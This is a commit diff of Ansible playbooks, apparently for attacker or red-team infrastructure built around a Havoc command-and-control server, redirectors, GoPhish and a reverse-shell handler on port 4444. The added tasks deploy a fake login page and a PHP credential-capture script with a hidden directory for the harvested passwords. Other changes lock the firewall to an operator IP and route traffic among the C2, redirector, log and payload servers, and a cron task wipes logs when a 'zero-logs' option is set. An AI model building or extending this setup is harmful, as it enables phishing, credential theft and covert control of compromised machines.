Updating security

tasks/configure_c2.yml

@@ -290,6 +290,9 @@
     c2_ip: "{{ ansible_host }}"
     redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
 
+- name: Include traffic flow configuration
+  include_tasks: "../tasks/traffic_flow_config.yml"
+
 - name: Set up cron job for log cleaning if zero-logs enabled
   cron:
     name: "Clean logs"

tasks/configure_redirector.yml

@@ -129,6 +129,9 @@
     owner: www-data
     group: www-data
 
+- name: Include traffic flow configuration
+  include_tasks: "../tasks/traffic_flow_config.yml"
+
 # Run port randomization if enabled
 - name: Run port randomization if enabled
   include_tasks: port_randomization.yml
@@ -167,6 +170,45 @@
     owner: root
     group: root
 
+- name: Create credential harvesting directory
+  file:
+    path: /var/www/login
+    state: directory
+    mode: '0755'
+    owner: www-data
+    group: www-data
+
+# Create secure storage outside web root
+- name: Create secure credential storage
+  file:
+    path: /var/private/creds
+    state: directory
+    mode: '0700'  # Only owner access
+    owner: www-data
+    group: www-data
+
+- name: Deploy credential harvesting page
+  template:
+    src: "../templates/fake-login.html.j2"
+    dest: "/var/www/login/auth.html"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+
+- name: Deploy credential capture script
+  template:
+    src: "../templates/capture.php.j2"
+    dest: "/var/www/login/process.php"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+
+- name: Install PHP for credential processing
+  apt:
+    name: php-fpm
+    state: present
+    update_cache: yes    
+
 - name: Start and enable shell handler service
   systemd:
     name: shell-handler

tasks/security_hardening.yml

@@ -32,19 +32,67 @@
     direction: incoming
   ignore_errors: yes
 
-- name: Allow required ports through firewall
-  ufw:
-    rule: allow
-    port: "{{ item }}"
-    proto: tcp
-  loop:
-    - "22"
-    - "80"
-    - "443"
-    - "{{ havoc_teamserver_port | default('40056') }}"
-    - "{{ havoc_http_port | default('8080') }}"
-    - "{{ gophish_admin_port | default('3333') }}"
-  ignore_errors: yes
+- name: Configure UFW for C2 server
+  block:
+    - name: Reset UFW to default deny
+      ufw:
+        state: enabled
+        policy: deny
+        direction: incoming
+
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: "22"
+        src: "{{ operator_ip }}"
+        proto: tcp
+
+    - name: Allow Havoc Teamserver only from operator IP
+      ufw:
+        rule: allow
+        port: "{{ havoc_teamserver_port | default('40056') }}"
+        src: "{{ operator_ip }}"
+        proto: tcp
+
+    - name: Allow traffic only from redirector
+      ufw:
+        rule: allow
+        port: "{{ item }}"
+        src: "{{ redirector_ip }}"
+        proto: tcp
+      loop:
+        - "80"
+        - "443"
+        - "{{ havoc_http_port | default('8080') }}"
+        - "{{ havoc_https_port | default('443') }}" 
+        - "{{ gophish_admin_port }}"
+  when: "'c2servers' in group_names"
+
+- name: Configure UFW for redirector
+  block:
+    - name: Reset UFW to default deny
+      ufw:
+        state: enabled
+        policy: deny
+        direction: incoming
+
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: "22"
+        src: "{{ operator_ip }}"
+        proto: tcp
+
+    - name: Allow public services from anywhere
+      ufw:
+        rule: allow
+        port: "{{ item }}"
+        proto: tcp
+      loop:
+        - "80"
+        - "443"
+        - "{{ shell_handler_port | default('4444') }}"
+  when: "'redirectors' in group_names"
 
 - name: Set up fail2ban SSH jail
   copy:

tasks/traffic_flow_config.yml

@@ -0,0 +1,94 @@
+---
+# Common task for configuring proper traffic flow between infrastructure components
+
+- name: Determine server role in infrastructure
+  set_fact:
+    server_role: >-
+      {% if inventory_hostname in groups['c2servers'] | default([]) %}c2{% 
+      elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{% 
+      elif inventory_hostname in groups['logservers'] | default([]) %}logserver{% 
+      elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{% 
+      elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{% 
+      elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{% 
+      else %}unknown{% endif %}
+
+- name: Configure C2 server routing
+  block:
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: 22
+        src: "{{ operator_ip }}"
+        proto: tcp
+    
+    - name: Allow teamserver access only from operator IP
+      ufw:
+        rule: allow
+        port: "{{ havoc_teamserver_port | default('40056') }}"
+        src: "{{ operator_ip }}"
+        proto: tcp
+    
+    - name: Configure required flows for each connected component
+      ufw:
+        rule: allow
+        port: "{{ item.port }}"
+        src: "{{ item.ip }}"
+        proto: tcp
+      loop:
+        - { ip: "{{ redirector_ip }}", port: "80" }
+        - { ip: "{{ redirector_ip }}", port: "443" }
+        - { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" }
+        - { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('443') }}" }
+        - { ip: "{{ logserver_ip | default(omit) }}", port: "5144" }  # Logstash port
+        - { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" }  # Payload sync port
+      when: item.ip != omit
+      
+  when: server_role == 'c2'
+
+- name: Configure redirector routing
+  block:
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: 22
+        src: "{{ operator_ip }}"
+        proto: tcp
+        
+    - name: Allow public web access
+      ufw:
+        rule: allow
+        port: "{{ item }}"
+        proto: tcp
+      loop:
+        - 80
+        - 443
+        
+    - name: Allow shell handler access
+      ufw:
+        rule: allow
+        port: "{{ shell_handler_port | default('4444') }}"
+        proto: tcp
+  when: server_role == 'redirector'
+
+- name: Configure logging server routing
+  block:
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: 22
+        src: "{{ operator_ip }}"
+        proto: tcp
+        
+    - name: Allow log ingestion from infrastructure
+      ufw:
+        rule: allow
+        port: 5144  # Logstash port
+        src: "{{ item }}"
+        proto: tcp
+      loop:
+        - "{{ c2_ip }}"
+        - "{{ redirector_ip }}"
+        - "{{ payloadserver_ip | default(omit) }}"
+        - "{{ phishingserver_ip | default(omit) }}"
+      when: item != omit
+  when: server_role == 'logserver'